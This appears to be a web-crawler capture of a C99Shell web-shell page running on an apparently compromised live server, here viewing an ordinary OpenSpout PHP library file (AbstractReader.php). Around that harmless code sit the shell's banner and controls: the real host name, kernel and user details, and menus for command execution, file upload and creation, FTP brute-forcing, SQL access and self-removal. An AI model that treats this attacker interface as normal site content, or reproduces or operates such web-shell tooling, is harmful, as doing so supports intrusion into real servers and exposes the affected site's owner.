!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/openspout/openspout/src/Reader/   drwxr-xr-x
Free 28.74 GB of 117.98 GB (24.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AbstractReader.php (5.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
OpenSpout\Reader;

use 
OpenSpout\Common\Exception\IOException;
use 
OpenSpout\Reader\Exception\ReaderException;
use 
OpenSpout\Reader\Exception\ReaderNotOpenedException;

/**
 * @template T of SheetIteratorInterface
 *
 * @implements ReaderInterface<T>
 */
abstract class AbstractReader implements ReaderInterface
{
    
/** @var bool Indicates whether the stream is currently open */
    
private bool $isStreamOpened false;

    
/**
     * Prepares the reader to read the given file. It also makes sure
     * that the file exists and is readable.
     *
     * @param string $filePath Path of the file to be read
     *
     * @throws IOException If the file at the given path does not exist, is not readable or is corrupted
     */
    
public function open(string $filePath): void
    
{
        if (
$this->isStreamWrapper($filePath) && (!$this->doesSupportStreamWrapper() || !$this->isSupportedStreamWrapper($filePath))) {
            throw new 
IOException("Could not open {$filePath} for reading! Stream wrapper used is not supported for this type of file.");
        }

        if (!
$this->isPhpStream($filePath)) {
            
// we skip the checks if the provided file path points to a PHP stream
            
if (!file_exists($filePath)) {
                throw new 
IOException("Could not open {$filePath} for reading! File does not exist.");
            }
            if (!
is_readable($filePath)) {
                throw new 
IOException("Could not open {$filePath} for reading! File is not readable.");
            }
        }

        try {
            
$fileRealPath $this->getFileRealPath($filePath);
            
$this->openReader($fileRealPath);
            
$this->isStreamOpened true;
        } catch (
ReaderException $exception) {
            throw new 
IOException(
                
"Could not open {$filePath} for reading!",
                
0,
                
$exception
            
);
        }
    }

    
/**
     * Closes the reader, preventing any additional reading.
     */
    
final public function close(): void
    
{
        if (
$this->isStreamOpened) {
            
$this->closeReader();

            
$this->isStreamOpened false;
        }
    }

    
/**
     * Returns whether stream wrappers are supported.
     */
    
abstract protected function doesSupportStreamWrapper(): bool;

    
/**
     * Opens the file at the given file path to make it ready to be read.
     *
     * @param string $filePath Path of the file to be read
     */
    
abstract protected function openReader(string $filePath): void;

    
/**
     * Closes the reader. To be used after reading the file.
     */
    
abstract protected function closeReader(): void;

    final protected function 
ensureStreamOpened(): void
    
{
        if (!
$this->isStreamOpened) {
            throw new 
ReaderNotOpenedException('Reader should be opened first.');
        }
    }

    
/**
     * Returns the real path of the given path.
     * If the given path is a valid stream wrapper, returns the path unchanged.
     */
    
private function getFileRealPath(string $filePath): string
    
{
        if (
$this->isSupportedStreamWrapper($filePath)) {
            return 
$filePath;
        }

        
// Need to use realpath to fix "Can't open file" on some Windows setup
        
$realpath realpath($filePath);
        
\assert(false !== $realpath);

        return 
$realpath;
    }

    
/**
     * Returns the scheme of the custom stream wrapper, if the path indicates a stream wrapper is used.
     * For example, php://temp => php, s3://path/to/file => s3...
     *
     * @param string $filePath Path of the file to be read
     *
     * @return null|string The stream wrapper scheme or NULL if not a stream wrapper
     */
    
private function getStreamWrapperScheme(string $filePath): ?string
    
{
        
$streamScheme null;
        if (
=== preg_match('/^(\w+):\/\//'$filePath$matches)) {
            
$streamScheme $matches[1];
        }

        return 
$streamScheme;
    }

    
/**
     * Checks if the given path is an unsupported stream wrapper
     * (like local path, php://temp, mystream://foo/bar...).
     *
     * @param string $filePath Path of the file to be read
     *
     * @return bool Whether the given path is an unsupported stream wrapper
     */
    
private function isStreamWrapper(string $filePath): bool
    
{
        return 
null !== $this->getStreamWrapperScheme($filePath);
    }

    
/**
     * Checks if the given path is an supported stream wrapper
     * (like php://temp, mystream://foo/bar...).
     * If the given path is a local path, returns true.
     *
     * @param string $filePath Path of the file to be read
     *
     * @return bool Whether the given path is an supported stream wrapper
     */
    
private function isSupportedStreamWrapper(string $filePath): bool
    
{
        
$streamScheme $this->getStreamWrapperScheme($filePath);

        return 
null === $streamScheme || \in_array($streamSchemestream_get_wrappers(), true);
    }

    
/**
     * Checks if a path is a PHP stream (like php://output, php://memory, ...).
     *
     * @param string $filePath Path of the file to be read
     *
     * @return bool Whether the given path maps to a PHP stream
     */
    
private function isPhpStream(string $filePath): bool
    
{
        
$streamScheme $this->getStreamWrapperScheme($filePath);

        return 
'php' === $streamScheme;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--